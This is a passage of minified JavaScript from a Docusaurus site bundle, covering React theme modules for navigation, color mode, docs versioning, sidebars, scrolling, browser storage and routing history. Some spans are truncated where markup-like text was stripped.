a.createElement(o.Z,(0,r.Z)({to:m},p,c?.target&&{target:c.target}),c&&a.createElement(u,{logo:c,alt:h,imageClassName:d}),null!=n&&a.createElement("b",{className:f},n))}},909:(e,t,n)=>{"use strict";n.d(t,{Z:()=>o});var r=n(9496),a=n(5198);function o(e){let{locale:t,version:n,tag:o}=e;const i=t;return r.createElement(a.Z,null,t&&r.createElement("meta",{name:"docusaurus_locale",content:t}),n&&r.createElement("meta",{name:"docusaurus_version",content:n}),o&&r.createElement("meta",{name:"docusaurus_tag",content:o}),i&&r.createElement("meta",{name:"docsearch:language",content:i}),n&&r.createElement("meta",{name:"docsearch:version",content:n}),o&&r.createElement("meta",{name:"docsearch:docusaurus_tag",content:o}))}},8639:(e,t,n)=>{"use strict";n.d(t,{Z:()=>c});var r=n(2564),a=n(9496),o=n(5924),i=n(128),s=n(4786);const l={themedImage:"themedImage_GG80","themedImage--light":"themedImage--light_ZgxF","themedImage--dark":"themedImage--dark_MYOw"};function c(e){const t=(0,i.Z)(),{colorMode:n}=(0,s.I)(),{sources:c,className:u,alt:d,...f}=e,p=t?"dark"===n?["dark"]:["light"]:["light","dark"];return a.createElement(a.Fragment,null,p.map((e=>a.createElement("img",(0,r.Z)({key:e,src:c[e],alt:d,className:(0,o.Z)(l.themedImage,l[`themedImage--${e}`],u)},f)))))}},9593:(e,t,n)=>{"use strict";n.d(t,{u:()=>l,z:()=>h});var r=n(2564),a=n(9496),o=n(758),i=n(3064);const s="ease-in-out";function l(e){let{initialState:t}=e;const[n,r]=(0,a.useState)(t??!1),o=(0,a.useCallback)((()=>{r((e=>!e))}),[]);return{collapsed:n,setCollapsed:r,toggleCollapsed:o}}const c={display:"none",overflow:"hidden",height:"0px"},u={display:"block",overflow:"visible",height:"auto"};function d(e,t){const n=t?c:u;e.style.display=n.display,e.style.overflow=n.overflow,e.style.height=n.height}function f(e){let{collapsibleRef:t,collapsed:n,animation:r}=e;const o=(0,a.useRef)(!1);(0,a.useEffect)((()=>{const e=t.current;function a(){const t=e.scrollHeight,n=r?.duration??function(e){if((0,i.n)())return 1;const t=e/36;return Math.round(10*(4+15*t**.25+t/5))}(t);return{transition:`height ${n}ms ${r?.easing??s}`,height:`${t}px`}}function l(){const t=a();e.style.transition=t.transition,e.style.height=t.height}if(!o.current)return d(e,n),void(o.current=!0);return e.style.willChange="height",function(){const t=requestAnimationFrame((()=>{n?(l(),requestAnimationFrame((()=>{e.style.height=c.height,e.style.overflow=c.overflow}))):(e.style.display="block",requestAnimationFrame((()=>{l()})))}));return()=>cancelAnimationFrame(t)}()}),[t,n,r])}function p(e){if(!o.Z.canUseDOM)return e?c:u}function m(e){let{as:t="div",collapsed:n,children:r,animation:o,onCollapseTransitionEnd:i,className:s,disableSSRStyle:l}=e;const c=(0,a.useRef)(null);return f({collapsibleRef:c,collapsed:n,animation:o}),a.createElement(t,{ref:c,style:l?void 0:p(n),onTransitionEnd:e=>{"height"===e.propertyName&&(d(c.current,n),i?.(n))},className:s},r)}function g(e){let{collapsed:t,...n}=e;const[o,i]=(0,a.useState)(!t),[s,l]=(0,a.useState)(t);return(0,a.useLayoutEffect)((()=>{t||i(!0)}),[t]),(0,a.useLayoutEffect)((()=>{o&&l(t)}),[o,t]),o?a.createElement(m,(0,r.Z)({},n,{collapsed:s})):null}function h(e){let{lazy:t,...n}=e;const r=t?g:m;return a.createElement(r,n)}},7249:(e,t,n)=>{"use strict";n.d(t,{nT:()=>m,pl:()=>p});var r=n(9496),a=n(128),o=n(7522),i=n(9697),s=n(3252);const l=(0,o.WA)("docusaurus.announcement.dismiss"),c=(0,o.WA)("docusaurus.announcement.id"),u=()=>"true"===l.get(),d=e=>l.set(String(e)),f=r.createContext(null);function p(e){let{children:t}=e;const n=function(){const{announcementBar:e}=(0,s.L)(),t=(0,a.Z)(),[n,o]=(0,r.useState)((()=>!!t&&u()));(0,r.useEffect)((()=>{o(u())}),[]);const i=(0,r.useCallback)((()=>{d(!0),o(!0)}),[]);return(0,r.useEffect)((()=>{if(!e)return;const{id:t}=e;let n=c.get();"annoucement-bar"===n&&(n="announcement-bar");const r=t!==n;c.set(t),r&&d(!1),!r&&u()||o(!1)}),[e]),(0,r.useMemo)((()=>({isActive:!!e&&!n,close:i})),[e,n,i])}();return r.createElement(f.Provider,{value:n},t)}function m(){const e=(0,r.useContext)(f);if(!e)throw new i.i6("AnnouncementBarProvider");return e}},4786:(e,t,n)=>{"use strict";n.d(t,{I:()=>h,S:()=>g});var r=n(9496),a=n(758),o=n(9697),i=n(7522),s=n(3252);const l=r.createContext(void 0),c="theme",u=(0,i.WA)(c),d={light:"light",dark:"dark"},f=e=>e===d.dark?d.dark:d.light,p=e=>a.Z.canUseDOM?f(document.documentElement.getAttribute("data-theme")):f(e),m=e=>{u.set(f(e))};function g(e){let{children:t}=e;const n=function(){const{colorMode:{defaultMode:e,disableSwitch:t,respectPrefersColorScheme:n}}=(0,s.L)(),[a,o]=(0,r.useState)(p(e));(0,r.useEffect)((()=>{t&&u.del()}),[t]);const i=(0,r.useCallback)((function(t,r){void 0===r&&(r={});const{persist:a=!0}=r;t?(o(t),a&&m(t)):(o(n?window.matchMedia("(prefers-color-scheme: dark)").matches?d.dark:d.light:e),u.del())}),[n,e]);(0,r.useEffect)((()=>{document.documentElement.setAttribute("data-theme",f(a))}),[a]),(0,r.useEffect)((()=>{if(t)return;const e=e=>{if(e.key!==c)return;const t=u.get();null!==t&&i(f(t))};return window.addEventListener("storage",e),()=>window.removeEventListener("storage",e)}),[t,i]);const l=(0,r.useRef)(!1);return(0,r.useEffect)((()=>{if(t&&!n)return;const e=window.matchMedia("(prefers-color-scheme: dark)"),r=()=>{window.matchMedia("print").matches||l.current?l.current=window.matchMedia("print").matches:i(null)};return e.addListener(r),()=>e.removeListener(r)}),[i,t,n]),(0,r.useMemo)((()=>({colorMode:a,setColorMode:i,get isDarkTheme(){return a===d.dark},setLightTheme(){i(d.light)},setDarkTheme(){i(d.dark)}})),[a,i])}();return r.createElement(l.Provider,{value:n},t)}function h(){const e=(0,r.useContext)(l);if(null==e)throw new o.i6("ColorModeProvider","Please see https://docusaurus.io/docs/api/themes/configuration#use-color-mode.");return e}},2174:(e,t,n)=>{"use strict";n.d(t,{J:()=>v,L5:()=>h});var r=n(9496),a=n(301),o=n(9435),i=n(3252),s=n(7862),l=n(9697),c=n(7522);const u=e=>`docs-preferred-version-${e}`,d={save:(e,t,n)=>{(0,c.WA)(u(e),{persistence:t}).set(n)},read:(e,t)=>(0,c.WA)(u(e),{persistence:t}).get(),clear:(e,t)=>{(0,c.WA)(u(e),{persistence:t}).del()}},f=e=>Object.fromEntries(e.map((e=>[e,{preferredVersionName:null}])));const p=r.createContext(null);function m(){const e=(0,a._r)(),t=(0,i.L)().docs.versionPersistence,n=(0,r.useMemo)((()=>Object.keys(e)),[e]),[o,s]=(0,r.useState)((()=>f(n)));(0,r.useEffect)((()=>{s(function(e){let{pluginIds:t,versionPersistence:n,allDocsData:r}=e;function a(e){const t=d.read(e,n);return r[e].versions.some((e=>e.name===t))?{preferredVersionName:t}:(d.clear(e,n),{preferredVersionName:null})}return Object.fromEntries(t.map((e=>[e,a(e)])))}({allDocsData:e,versionPersistence:t,pluginIds:n}))}),[e,t,n]);return[o,(0,r.useMemo)((()=>({savePreferredVersion:function(e,n){d.save(e,t,n),s((t=>({...t,[e]:{preferredVersionName:n}})))}})),[t])]}function g(e){let{children:t}=e;const n=m();return r.createElement(p.Provider,{value:n},t)}function h(e){let{children:t}=e;return s.cE?r.createElement(g,null,t):r.createElement(r.Fragment,null,t)}function b(){const e=(0,r.useContext)(p);if(!e)throw new l.i6("DocsPreferredVersionContextProvider");return e}function v(e){void 0===e&&(e=o.m);const t=(0,a.zh)(e),[n,i]=b(),{preferredVersionName:s}=n[e];return{preferredVersion:t.versions.find((e=>e.name===s))??null,savePreferredVersionName:(0,r.useCallback)((t=>{i.savePreferredVersion(e,t)}),[i,e])}}},6670:(e,t,n)=>{"use strict";n.d(t,{V:()=>l,b:()=>s});var r=n(9496),a=n(9697);const o=Symbol("EmptyContext"),i=r.createContext(o);function s(e){let{children:t,name:n,items:a}=e;const o=(0,r.useMemo)((()=>n&&a?{name:n,items:a}:null),[n,a]);return r.createElement(i.Provider,{value:o},t)}function l(){const e=(0,r.useContext)(i);if(e===o)throw new a.i6("DocsSidebarProvider");return e}},3302:(e,t,n)=>{"use strict";n.d(t,{M:()=>f,e:()=>p});var r=n(9496),a=n(682),o=n(6580),i=n(3442),s=(n(4241),n(9697));function l(e){!function(e){const t=(0,i.k6)(),n=(0,s.zX)(e);(0,r.useEffect)((()=>t.block(((e,t)=>n(e,t)))),[t,n])}(((t,n)=>{if("POP"===n)return e(t,n)}))}var c=n(3252);const u=r.createContext(void 0);function d(){const e=function(){const e=(0,a.HY)(),{items:t}=(0,c.L)().navbar;return 0===t.length&&!e.component}(),t=(0,o.i)(),n=!e&&"mobile"===t,[i,s]=(0,r.useState)(!1);l((()=>{if(i)return s(!1),!1}));const u=(0,r.useCallback)((()=>{s((e=>!e))}),[]);return(0,r.useEffect)((()=>{"desktop"===t&&s(!1)}),[t]),(0,r.useMemo)((()=>({disabled:e,shouldRender:n,toggle:u,shown:i})),[e,n,u,i])}function f(e){let{children:t}=e;const n=d();return r.createElement(u.Provider,{value:n},t)}function p(){const e=r.useContext(u);if(void 0===e)throw new s.i6("NavbarMobileSidebarProvider");return e}},682:(e,t,n)=>{"use strict";n.d(t,{HY:()=>s,Zo:()=>l,n2:()=>i});var r=n(9496),a=n(9697);const o=r.createContext(null);function i(e){let{children:t}=e;const n=(0,r.useState)({component:null,props:null});return r.createElement(o.Provider,{value:n},t)}function s(){const e=(0,r.useContext)(o);if(!e)throw new a.i6("NavbarSecondaryMenuContentProvider");return e[0]}function l(e){let{component:t,props:n}=e;const i=(0,r.useContext)(o);if(!i)throw new a.i6("NavbarSecondaryMenuContentProvider");const[,s]=i,l=(0,a.Ql)(n);return(0,r.useEffect)((()=>{s({component:t,props:l})}),[s,t,l]),(0,r.useEffect)((()=>()=>s({component:null,props:null})),[s]),null}},5894:(e,t,n)=>{"use strict";n.d(t,{h:()=>a,t:()=>o});var r=n(9496);const a="navigation-with-keyboard";function o(){(0,r.useEffect)((()=>{function e(e){"keydown"===e.type&&"Tab"===e.key&&document.body.classList.add(a),"mousedown"===e.type&&document.body.classList.remove(a)}return document.addEventListener("keydown",e),document.addEventListener("mousedown",e),()=>{document.body.classList.remove(a),document.removeEventListener("keydown",e),document.removeEventListener("mousedown",e)}}),[])}},6580:(e,t,n)=>{"use strict";n.d(t,{i:()=>c});var r=n(9496),a=n(758);const o={desktop:"desktop",mobile:"mobile",ssr:"ssr"},i=996;function s(){return a.Z.canUseDOM?window.innerWidth>i?o.desktop:o.mobile:o.ssr}const l=!1;function c(){const[e,t]=(0,r.useState)((()=>l?"ssr":s()));return(0,r.useEffect)((()=>{function e(){t(s())}const n=l?window.setTimeout(e,1e3):void 0;return window.addEventListener("resize",e),()=>{window.removeEventListener("resize",e),clearTimeout(n)}}),[]),e}},9801:(e,t,n)=>{"use strict";n.d(t,{k:()=>r});const r={page:{blogListPage:"blog-list-page",blogPostPage:"blog-post-page",blogTagsListPage:"blog-tags-list-page",blogTagPostListPage:"blog-tags-post-list-page",docsDocPage:"docs-doc-page",docsTagsListPage:"docs-tags-list-page",docsTagDocListPage:"docs-tags-doc-list-page",mdxPage:"mdx-page"},wrapper:{main:"main-wrapper",blogPages:"blog-wrapper",docsPages:"docs-wrapper",mdxPages:"mdx-wrapper"},common:{editThisPage:"theme-edit-this-page",lastUpdated:"theme-last-updated",backToTopButton:"theme-back-to-top-button",codeBlock:"theme-code-block",admonition:"theme-admonition",admonitionType:e=>`theme-admonition-${e}`},layout:{},docs:{docVersionBanner:"theme-doc-version-banner",docVersionBadge:"theme-doc-version-badge",docBreadcrumbs:"theme-doc-breadcrumbs",docMarkdown:"theme-doc-markdown",docTocMobile:"theme-doc-toc-mobile",docTocDesktop:"theme-doc-toc-desktop",docFooter:"theme-doc-footer",docFooterTagsRow:"theme-doc-footer-tags-row",docFooterEditMetaRow:"theme-doc-footer-edit-meta-row",docSidebarContainer:"theme-doc-sidebar-container",docSidebarMenu:"theme-doc-sidebar-menu",docSidebarItemCategory:"theme-doc-sidebar-item-category",docSidebarItemLink:"theme-doc-sidebar-item-link",docSidebarItemCategoryLevel:e=>`theme-doc-sidebar-item-category-level-${e}`,docSidebarItemLinkLevel:e=>`theme-doc-sidebar-item-link-level-${e}`},blog:{}}},3064:(e,t,n)=>{"use strict";function r(){return window.matchMedia("(prefers-reduced-motion: reduce)").matches}n.d(t,{n:()=>r})},7862:(e,t,n)=>{"use strict";n.d(t,{Wl:()=>f,_F:()=>g,cE:()=>d,hI:()=>E,lO:()=>v,vY:()=>w,oz:()=>y,s1:()=>b});var r=n(9496),a=n(3442),o=n(1789),i=n(301),s=n(2174),l=n(6670);function c(e){return Array.from(new Set(e))}var u=n(9513);const d=!!i._r;function f(e){if(e.href)return e.href;for(const t of e.items){if("link"===t.type)return t.href;if("category"===t.type){const e=f(t);if(e)return e}}}const p=(e,t)=>void 0!==e&&(0,u.Mg)(e,t),m=(e,t)=>e.some((e=>g(e,t)));function g(e,t){return"link"===e.type?p(e.href,t):"category"===e.type&&(p(e.href,t)||m(e.items,t))}function h(e){let{sidebarItems:t,pathname:n,onlyCategories:r=!1}=e;const a=[];return function e(t){for(const o of t)if("category"===o.type&&((0,u.Mg)(o.href,n)||e(o.items))||"link"===o.type&&(0,u.Mg)(o.href,n)){return r&&"category"!==o.type||a.unshift(o),!0}return!1}(t),a}function b(){const e=(0,l.V)(),{pathname:t}=(0,a.TH)(),n=(0,i.gA)()?.pluginData.breadcrumbs;return!1!==n&&e?h({sidebarItems:e.items,pathname:t}):null}function v(e){const{activeVersion:t}=(0,i.Iw)(e),{preferredVersion:n}=(0,s.J)(e),a=(0,i.yW)(e);return(0,r.useMemo)((()=>c([t,n,a].filter(Boolean))),[t,n,a])}function y(e,t){const n=v(t);return(0,r.useMemo)((()=>{const t=n.flatMap((e=>e.sidebars?Object.entries(e.sidebars):[])),r=t.find((t=>t[0]===e));if(!r)throw new Error(`Can't find any sidebar with id "${e}" in version${n.length>1?"s":""} ${n.map((e=>e.name)).join(", ")}".\nAvailable sidebar ids are:\n- ${t.map((e=>e[0])).join("\n- ")}`);return r[1]}),[e,n])}function w(e,t){const n=v(t);return(0,r.useMemo)((()=>{const t=n.flatMap((e=>e.docs)),r=t.find((t=>t.id===e));if(!r){if(n.flatMap((e=>e.draftIds)).includes(e))return null;throw new Error(`Couldn't find any doc with id "${e}" in version${n.length>1?"s":""} "${n.map((e=>e.name)).join(", ")}".\nAvailable doc ids are:\n- ${c(t.map((e=>e.id))).join("\n- ")}`)}return r}),[e,n])}function E(e){let{route:t,versionMetadata:n}=e;const r=(0,a.TH)(),i=t.routes,s=i.find((e=>(0,a.LX)(r.pathname,e)));if(!s)return null;const l=s.sidebar,c=l?n.docsSidebars[l]:void 0;return{docElement:(0,o.H)(i),sidebarName:l,sidebarItems:c}}},6650:(e,t,n)=>{"use strict";n.d(t,{FG:()=>f,d:()=>u,VC:()=>p});var r=n(9496),a=n(5924),o=n(5198),i=n(4831);function s(){const e=r.useContext(i._);if(!e)throw new Error("Unexpected: no Docusaurus route context found");return e}var l=n(1221),c=n(2437);function u(e){let{title:t,description:n,keywords:a,image:i,children:s}=e;const u=function(e){const{siteConfig:t}=(0,c.Z)(),{title:n,titleDelimiter:r}=t;return e?.trim().length?`${e.trim()} ${r} ${n}`:n}(t),{withBaseUrl:d}=(0,l.C)(),f=i?d(i,{absolute:!0}):void 0;return r.createElement(o.Z,null,t&&r.createElement("title",null,u),t&&r.createElement("meta",{property:"og:title",content:u}),n&&r.createElement("meta",{name:"description",content:n}),n&&r.createElement("meta",{property:"og:description",content:n}),a&&r.createElement("meta",{name:"keywords",content:Array.isArray(a)?a.join(","):a}),f&&r.createElement("meta",{property:"og:image",content:f}),f&&r.createElement("meta",{name:"twitter:image",content:f}),s)}const d=r.createContext(void 0);function f(e){let{className:t,children:n}=e;const i=r.useContext(d),s=(0,a.Z)(i,t);return r.createElement(d.Provider,{value:s},r.createElement(o.Z,null,r.createElement("html",{className:s})),n)}function p(e){let{children:t}=e;const n=s(),o=`plugin-${n.plugin.name.replace(/docusaurus-(?:plugin|theme)-(?:content-)?/gi,"")}`;const i=`plugin-id-${n.plugin.id}`;return r.createElement(f,{className:(0,a.Z)(o,i)},t)}},9697:(e,t,n)=>{"use strict";n.d(t,{D9:()=>i,Qc:()=>c,Ql:()=>l,i6:()=>s,zX:()=>o});var r=n(9496);const a=n(758).Z.canUseDOM?r.useLayoutEffect:r.useEffect;function o(e){const t=(0,r.useRef)(e);return a((()=>{t.current=e}),[e]),(0,r.useCallback)((function(){return t.current(...arguments)}),[])}function i(e){const t=(0,r.useRef)();return a((()=>{t.current=e})),t.current}class s extends Error{constructor(e,t){super(),this.name="ReactContextError",this.message=`Hook ${this.stack?.split("\n")[1]?.match(/at (?:\w+\.)?(?\w+)/)?.groups.name??""} is called outside the <${e}>. ${t??""}`}}function l(e){const t=Object.entries(e);return t.sort(((e,t)=>e[0].localeCompare(t[0]))),(0,r.useMemo)((()=>e),t.flat())}function c(e){return t=>{let{children:n}=t;return r.createElement(r.Fragment,null,e.reduceRight(((e,t)=>r.createElement(t,null,e)),n))}}},9513:(e,t,n)=>{"use strict";n.d(t,{Mg:()=>i,Ns:()=>s});var r=n(9496),a=n(1737),o=n(2437);function i(e,t){const n=e=>(!e||e.endsWith("/")?e:`${e}/`)?.toLowerCase();return n(e)===n(t)}function s(){const{baseUrl:e}=(0,o.Z)().siteConfig;return(0,r.useMemo)((()=>function(e){let{baseUrl:t,routes:n}=e;function r(e){return e.path===t&&!0===e.exact}function a(e){return e.path===t&&!e.exact}return function e(t){if(0===t.length)return;return t.find(r)||e(t.filter(a).flatMap((e=>e.routes??[])))}(n)}({routes:a.Z,baseUrl:e})),[e])}},3608:(e,t,n)=>{"use strict";n.d(t,{Ct:()=>f,OC:()=>l,RF:()=>d});var r=n(9496),a=n(758),o=n(128),i=n(9697);const s=r.createContext(void 0);function l(e){let{children:t}=e;const n=function(){const e=(0,r.useRef)(!0);return(0,r.useMemo)((()=>({scrollEventsEnabledRef:e,enableScrollEvents:()=>{e.current=!0},disableScrollEvents:()=>{e.current=!1}})),[])}();return r.createElement(s.Provider,{value:n},t)}function c(){const e=(0,r.useContext)(s);if(null==e)throw new i.i6("ScrollControllerProvider");return e}const u=()=>a.Z.canUseDOM?{scrollX:window.pageXOffset,scrollY:window.pageYOffset}:null;function d(e,t){void 0===t&&(t=[]);const{scrollEventsEnabledRef:n}=c(),a=(0,r.useRef)(u()),o=(0,i.zX)(e);(0,r.useEffect)((()=>{const e=()=>{if(!n.current)return;const e=u();o(e,a.current),a.current=e},t={passive:!0};return e(),window.addEventListener("scroll",e,t),()=>window.removeEventListener("scroll",e,t)}),[o,n,...t])}function f(){const e=(0,r.useRef)(null),t=(0,o.Z)()&&"smooth"===getComputedStyle(document.documentElement).scrollBehavior;return{startScroll:n=>{e.current=t?function(e){return window.scrollTo({top:e,behavior:"smooth"}),()=>{}}(n):function(e){let t=null;const n=document.documentElement.scrollTop>e;return function r(){const a=document.documentElement.scrollTop;(n&&a>e||!n&&at&&cancelAnimationFrame(t)}(n)},cancelScroll:()=>e.current?.()}}},7584:(e,t,n)=>{"use strict";n.d(t,{HX:()=>r,os:()=>a});n(2437);const r="default";function a(e,t){return`docs-${e}-${t}`}},7522:(e,t,n)=>{"use strict";n.d(t,{WA:()=>l});n(9496),n(4241);const r="localStorage";function a(e){let{key:t,oldValue:n,newValue:r,storage:a}=e;if(n===r)return;const o=document.createEvent("StorageEvent");o.initStorageEvent("storage",!1,!1,t,n,r,window.location.href,a),window.dispatchEvent(o)}function o(e){if(void 0===e&&(e=r),"undefined"==typeof window)throw new Error("Browser storage is not available on Node.js/Docusaurus SSR process.");if("none"===e)return null;try{return window[e]}catch(n){return t=n,i||(console.warn("Docusaurus browser storage is not available.\nPossible reasons: running Docusaurus in an iframe, in an incognito browser session, or using too strict browser privacy settings.",t),i=!0),null}var t}let i=!1;const s={get:()=>null,set:()=>{},del:()=>{},listen:()=>()=>{}};function l(e,t){if("undefined"==typeof window)return function(e){function t(){throw new Error(`Illegal storage API usage for storage key "${e}".\nDocusaurus storage APIs are not supposed to be called on the server-rendering process.\nPlease only call storage APIs in effects and event handlers.`)}return{get:t,set:t,del:t,listen:t}}(e);const n=o(t?.persistence);return null===n?s:{get:()=>{try{return n.getItem(e)}catch(t){return console.error(`Docusaurus storage error, can't get key=${e}`,t),null}},set:t=>{try{const r=n.getItem(e);n.setItem(e,t),a({key:e,oldValue:r,newValue:t,storage:n})}catch(r){console.error(`Docusaurus storage error, can't set ${e}=${t}`,r)}},del:()=>{try{const t=n.getItem(e);n.removeItem(e),a({key:e,oldValue:t,newValue:null,storage:n})}catch(t){console.error(`Docusaurus storage error, can't delete key=${e}`,t)}},listen:t=>{try{const r=r=>{r.storageArea===n&&r.key===e&&t(r)};return window.addEventListener("storage",r),()=>window.removeEventListener("storage",r)}catch(r){return console.error(`Docusaurus storage error, can't listen for changes of key=${e}`,r),()=>{}}}}}},5187:(e,t,n)=>{"use strict";n.d(t,{l:()=>o});var r=n(2437),a=n(3442);function o(){const{siteConfig:{baseUrl:e,url:t},i18n:{defaultLocale:n,currentLocale:o}}=(0,r.Z)(),{pathname:i}=(0,a.TH)(),s=o===n?e:e.replace(`/${o}/`,"/"),l=i.replace(e,"");return{createUrl:function(e){let{locale:r,fullyQualified:a}=e;return`${a?t:""}${function(e){return e===n?`${s}`:`${s}${e}/`}(r)}${l}`}}}},7634:(e,t,n)=>{"use strict";n.d(t,{S:()=>i});var r=n(9496),a=n(3442),o=n(9697);function i(e){const t=(0,a.TH)(),n=(0,o.D9)(t),i=(0,o.zX)(e);(0,r.useEffect)((()=>{n&&t!==n&&i({location:t,previousLocation:n})}),[i,t,n])}},3252:(e,t,n)=>{"use strict";n.d(t,{L:()=>a});var r=n(2437);function a(){return(0,r.Z)().siteConfig.themeConfig}},7138:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const{trailingSlash:n,baseUrl:r}=t;if(e.startsWith("#"))return e;if(void 0===n)return e;const[a]=e.split(/[#?]/),o="/"===a||a===r?a:(i=a,n?function(e){return e.endsWith("/")?e:`${e}/`}(i):function(e){return e.endsWith("/")?e.slice(0,-1):e}(i));var i;return e.replace(a,o)}},845:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getErrorCausalChain=void 0,t.getErrorCausalChain=function e(t){return t.cause?[t,...e(t.cause)]:[t]}},2855:function(e,t,n){"use strict";var r=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0}),t.getErrorCausalChain=t.applyTrailingSlash=t.blogPostContainerID=void 0,t.blogPostContainerID="__blog-post-container";var a=n(7138);Object.defineProperty(t,"applyTrailingSlash",{enumerable:!0,get:function(){return r(a).default}});var o=n(845);Object.defineProperty(t,"getErrorCausalChain",{enumerable:!0,get:function(){return o.getErrorCausalChain}})},5924:(e,t,n)=>{"use strict";function r(e){var t,n,a="";if("string"==typeof e||"number"==typeof e)a+=e;else if("object"==typeof e)if(Array.isArray(e))for(t=0;ta});const a=function(){for(var e,t,n=0,a="";n{"use strict";n.d(t,{lX:()=>w,q_:()=>C,ob:()=>p,PP:()=>A,Ep:()=>f});var r=n(2564);function a(e){return"/"===e.charAt(0)}function o(e,t){for(var n=t,r=n+1,a=e.length;r=0;f--){var p=i[f];"."===p?o(i,f):".."===p?(o(i,f),d++):d&&(o(i,f),d--)}if(!c)for(;d--;d)i.unshift("..");!c||""===i[0]||i[0]&&a(i[0])||i.unshift("");var m=i.join("/");return n&&"/"!==m.substr(-1)&&(m+="/"),m};var s=n(8624);function l(e){return"/"===e.charAt(0)?e:"/"+e}function c(e){return"/"===e.charAt(0)?e.substr(1):e}function u(e,t){return function(e,t){return 0===e.toLowerCase().indexOf(t.toLowerCase())&&-1!=="/?#".indexOf(e.charAt(t.length))}(e,t)?e.substr(t.length):e}function d(e){return"/"===e.charAt(e.length-1)?e.slice(0,-1):e}function f(e){var t=e.pathname,n=e.search,r=e.hash,a=t||"/";return n&&"?"!==n&&(a+="?"===n.charAt(0)?n:"?"+n),r&&"#"!==r&&(a+="#"===r.charAt(0)?r:"#"+r),a}function p(e,t,n,a){var o;"string"==typeof e?(o=function(e){var t=e||"/",n="",r="",a=t.indexOf("#");-1!==a&&(r=t.substr(a),t=t.substr(0,a));var o=t.indexOf("?");return-1!==o&&(n=t.substr(o),t=t.substr(0,o)),{pathname:t,search:"?"===n?"":n,hash:"#"===r?"":r}}(e),o.state=t):(void 0===(o=(0,r.Z)({},e)).pathname&&(o.pathname=""),o.search?"?"!==o.search.charAt(0)&&(o.search="?"+o.search):o.search="",o.hash?"#"!==o.hash.charAt(0)&&(o.hash="#"+o.hash):o.hash="",void 0!==t&&void 0===o.state&&(o.state=t));try{o.pathname=decodeURI(o.pathname)}catch(s){throw s instanceof URIError?new URIError('Pathname "'+o.pathname+'" could not be decoded. This is likely caused by an invalid percent-encoding.'):s}return n&&(o.key=n),a?o.pathname?"/"!==o.pathname.charAt(0)&&(o.pathname=i(o.pathname,a.pathname)):o.pathname=a.pathname:o.pathname||(o.pathname="/"),o}function m(){var e=null;var t=[];return{setPrompt:function(t){return e=t,function(){e===t&&(e=null)}},confirmTransitionTo:function(t,n,r,a){if(null!=e){var o="function"==typeof e?e(t,n):e;"string"==typeof o?"function"==typeof r?r(o,a):a(!0):a(!1!==o)}else a(!0)},appendListener:function(e){var n=!0;function r(){n&&e.apply(void 0,arguments)}return t.push(r),function(){n=!1,t=t.filter((function(e){return e!==r}))}},notifyListeners:function(){for(var e=arguments.length,n=new Array(e),r=0;rt?n.splice(t,n.length-t,a):n.push(a),d({action:r,location:a,index:t,entries:n})}}))},replace:function(e,t){var r="REPLACE",a=p(e,t,g(),w.location);u.confirmTransitionTo(a,r,n,(function(e){e&&(w.entries[w.index]=a,d({action:r,location:a}))}))},go:y,goBack:function(){y(-1)},goForward:function(){y(1)},canGo:function(e){var t=w.index+e;return t>=0&&t{"use strict";var r=n(6237),a={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},o={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},i={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},s={};function l(e){return r.isMemo(e)?i:s[e.$$typeof]||a}s[r.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},s[r.Memo]=i;var c=Object.defineProperty,u=Object.getOwnPropertyNames,d=Object.getOwnPropertySymbols,f=Object.getOwnPropertyDescriptor,p=Object.getPrototypeOf,m=Object.prototype;e.exports=function e(t,n,r){if("string"!=typeof n){if(m){var a=p(n);a&&a!==m&&e(t,a,r)}var i=u(n);d&&(i=i.concat(d(n)));for(var s=l(t),g=l(n),h=0;h{"use strict";e.exports=function(e,t,n,r,a,o,i,s){if(!e){var l;if(void 0===t)l=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[n,r,a,o,i,s],u=0;(l=new Error(t.replace(/%s/g,(function(){return c[u++]})))).name="Invariant Violation"}throw l.framesToPop=1,l}}},901:e=>{e.exports=Array.isArray||function(e){return"[object Array]"==Object.prototype.toString.call(e)}},402:(e,t,n)=>{"use strict";n.r(t)},9930:(e,t,n)=>{"use strict";n.r(t)},9981:function(e,t,n){var r,a;r=function(){var e,t,n={version:"0.2.0"},r=n.settings={minimum:.08,easing:"ease",positionUsing:"",speed:200,trickle:!0,trickleRate:.02,trickleSpeed:800,showSpinner:!0,barSelector:'[role="bar"]',spinnerSelector:'[role="spinner"]',parent:"body",template:'
'};function a(e,t,n){return en?n:e}function o(e){return 100*(-1+e)}function i(e,t,n){var a;return(a="translate3d"===r.positionUsing?{transform:"translate3d("+o(e)+"%,0,0)"}:"translate"===r.positionUsing?{transform:"translate("+o(e)+"%,0)"}:{"margin-left":o(e)+"%"}).transition="all "+t+"ms "+n,a}n.configure=function(e){var t,n;for(t in e)void 0!==(n=e[t])&&e.hasOwnProperty(t)&&(r[t]=n);return this},n.status=null,n.set=function(e){var t=n.isStarted();e=a(e,r.minimum,1),n.status=1===e?null:e;var o=n.render(!t),c=o.querySelector(r.barSelector),u=r.speed,d=r.easing;return o.offsetWidth,s((function(t){""===r.positionUsing&&(r.positionUsing=n.getPositioningCSS()),l(c,i(e,u,d)),1===e?(l(o,{transition:"none",opacity:1}),o.offsetWidth,setTimeout((function(){l(o,{transition:"all "+u+"ms linear",opacity:0}),setTimeout((function(){n.remove(),t()}),u)}),u)):setTimeout(t,u)})),this},n.isStarted=function(){return"number"==typeof n.status},n.start=function(){n.status||n.set(0);var e=function(){setTimeout((function(){n.status&&(n.trickle(),e())}),r.trickleSpeed)};return r.trickle&&e(),this},n.done=function(e){return e||n.status?n.inc(.3+.5*Math.random()).set(1):this},n.inc=function(e){var t=n.status;return t?("number"!=typeof e&&(e=(1-t)*a(Math.random()*t,.1,.95)),t=a(t+e,0,.994),n.set(t)):n.start()},n.trickle=function(){return n.inc(Math.random()*r.trickleRate)},e=0,t=0,n.promise=function(r){return 